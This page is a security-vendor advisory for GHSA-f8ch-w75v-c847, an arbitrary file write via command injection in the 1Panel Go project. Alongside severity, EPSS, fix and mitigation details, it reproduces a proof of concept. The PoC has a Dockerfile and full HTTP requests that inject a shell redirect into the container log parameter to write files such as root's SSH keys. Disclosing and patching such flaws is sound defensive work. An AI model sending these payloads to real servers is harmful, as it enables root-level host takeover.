How severe is GHSA-f8ch-w75v-c847?

GHSA-f8ch-w75v-c847 has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-f8ch-w75v-c847?

GHSA-f8ch-w75v-c847 affects the following packages: github.com/1Panel-dev/1Panel (Go). Ecosystems affected: Go.

How do I fix GHSA-f8ch-w75v-c847?

Update github.com/1Panel-dev/1Panel to 1.10.3-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f8ch-w75v-c847 is resolved across your whole dependency graph.

How do I detect GHSA-f8ch-w75v-c847 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/1Panel-dev/1Panel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-f8ch-w75v-c847 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-f8ch-w75v-c847?

O3 pinpoints whether GHSA-f8ch-w75v-c847 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-f8ch-w75v-c847 actively exploited in the wild?

No public exploit code has been indexed for GHSA-f8ch-w75v-c847 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-f8ch-w75v-c847?

GHSA-f8ch-w75v-c847 has an EPSS (Exploit Prediction Scoring System) score of 1.3%, placing it in the 67th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-f8ch-w75v-c847?

GHSA-f8ch-w75v-c847 is classified as CWE-77 (CWE-77). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-f8ch-w75v-c847 published, and has it been updated?

GHSA-f8ch-w75v-c847 was published on May 9, 2024 and was last updated on June 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-f8ch-w75v-c847

MEDIUM

1Panel arbitrary file write vulnerability

Also known asCVE-2024-34352GO-2024-2830

Published

May 9, 2024

Updated

Jun 8, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

1.3%probability of exploitation in next 30 days

Lower Risk67th percentile-0.86%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/1Panel-dev/1Panel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/1Panel-dev/1Panel`	all versions	1.10.3-lts

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/1Panel-dev/1Panel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/1Panel-dev/1Panel to 1.10.3-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f8ch-w75v-c847 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f8ch-w75v-c847 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f8ch-w75v-c847. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking c

O3 Security · Impact-Aware SCA

Is GHSA-f8ch-w75v-c847 in your dependencies?

O3 detects GHSA-f8ch-w75v-c847 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works